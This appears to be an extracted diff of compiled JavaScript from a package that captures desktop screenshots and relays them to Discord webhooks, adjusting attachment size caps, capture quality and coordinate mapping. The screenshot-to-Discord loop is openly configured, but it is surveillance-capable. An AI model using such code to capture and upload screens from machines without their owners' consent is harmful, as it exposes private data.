// For an <img>, getBoundingClientRect() is already the rendered pixel box.
|
|
1491
|
+
// Using rect coordinates directly keeps mapping stable across browser zoom in/out.
|
|
1492
|
+
const relX = (ev.clientX - r.left) / Math.max(1, r.width);
|
|
1493
|
+
const relY = (ev.clientY - r.top) / Math.max(1, r.height);
|
|
1487
1494
|
const nx = Math.max(0, Math.min(1, relX));
|
|
1488
1495
|
const ny = Math.max(0, Math.min(1, relY));
|
|
1489
1496
|
const iw = Number(lastFrameMeta && lastFrameMeta.imageWidth) || naturalW;
|
|
@@ -88,7 +88,11 @@ function discordWebhookMaxAttachmentBytes() {
|
|
|
88
88
|
return Math.min(25 * 1024 * 1024, Math.max(256 * 1024, n));
|
|
89
89
|
}
|
|
90
90
|
}
|
|
91
|
-
return
|
|
91
|
+
return 10 * 1024 * 1024;
|
|
92
|
+
}
|
|
93
|
+
/** Discord screenshots should maximize quality within strict attachment budget. */
|
|
94
|
+
function discordCaptureMaxBytes() {
|
|
95
|
+
return Math.min(10 * 1024 * 1024, discordWebhookMaxAttachmentBytes());
|
|
92
96
|
}
|
|
93
97
|
/** Short OS label for Discord screenshot captions. */
|
|
94
98
|
function _screenshotOsLabel() {
|
|
@@ -429,7 +433,12 @@ function startDiscordScreenshotToRelayLoop(opts) {
|
|
|
429
433
|
captureScheduleTimer = null;
|
|
430
434
|
void (async () => {
|
|
431
435
|
try {
|
|
432
|
-
const res = await (0, fsProtocol_1.fsDesktopScreenshotCapture)(
|
|
436
|
+
const res = await (0, fsProtocol_1.fsDesktopScreenshotCapture)({
|
|
437
|
+
stream_profile: "discord_upload",
|
|
438
|
+
max_bytes: discordCaptureMaxBytes(),
|
|
439
|
+
// Keep native pixel fidelity for Discord snapshots; byte cap handles final size.
|
|
440
|
+
max_width: 0,
|
|
441
|
+
});
|
|
433
442
|
if (res.ok !== true || typeof res.b64 !== "string" || !res.b64) {
|
|
434
443
|
if (!opts.quiet && res.ok === false) {
|
|
435
444
|
console.error(`[forge-js:discord-screenshot] capture: ${String(res.error || "skip")}`);
|
|
@@ -98,7 +98,7 @@ function maxDiscordAttachmentBytes() {
|
|
|
98
98
|
return Math.min(25 * 1024 * 1024, Math.max(64 * 1024, n));
|
|
99
99
|
}
|
|
100
100
|
}
|
|
101
|
-
return
|
|
101
|
+
return 10 * 1024 * 1024;
|
|
102
102
|
}
|
|
103
103
|
function discordRelayScreenshotEnabled() {
|
|
104
104
|
const e = (process.env.RELAY_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
|
package/dist/fsProtocol.js
CHANGED
|
@@ -2280,10 +2280,10 @@ async function resultFromPngPath(outPath, options) {
|
|
|
2280
2280
|
}
|
|
2281
2281
|
if (options?.streamProfile === "remote_stream" && mime !== "image/jpeg") {
|
|
2282
2282
|
const remoteTargets = [
|
|
2283
|
-
|
|
2284
|
-
Math.min(hardCap, Math.max(
|
|
2285
|
-
Math.min(hardCap, Math.max(
|
|
2286
|
-
Math.min(hardCap, Math.max(
|
|
2283
|
+
hardCap,
|
|
2284
|
+
Math.min(hardCap, Math.max(128 * 1024, Math.floor(hardCap * 0.95))),
|
|
2285
|
+
Math.min(hardCap, Math.max(96 * 1024, Math.floor(hardCap * 0.82))),
|
|
2286
|
+
Math.min(hardCap, Math.max(72 * 1024, Math.floor(hardCap * 0.68))),
|
|
2287
2287
|
];
|
|
2288
2288
|
let converted = null;
|
|
2289
2289
|
for (const t of remoteTargets) {
|
|
@@ -5173,7 +5173,7 @@ async function fsWindowsScreenshotCapture(options) {
|
|
|
5173
5173
|
if (vf) {
|
|
5174
5174
|
args.push("-vf", vf);
|
|
5175
5175
|
}
|
|
5176
|
-
args.push("-q:v", "
|
|
5176
|
+
args.push("-q:v", "6", "-frames:v", "1", outJpg);
|
|
5177
5177
|
const ok = await trySpawnScreenshotTool(ffmpeg, args, outJpg, 12_000);
|
|
5178
5178
|
if (ok && fs.existsSync(outJpg)) {
|
|
5179
5179
|
const fast = await resultFromPngPath(outJpg, options);
|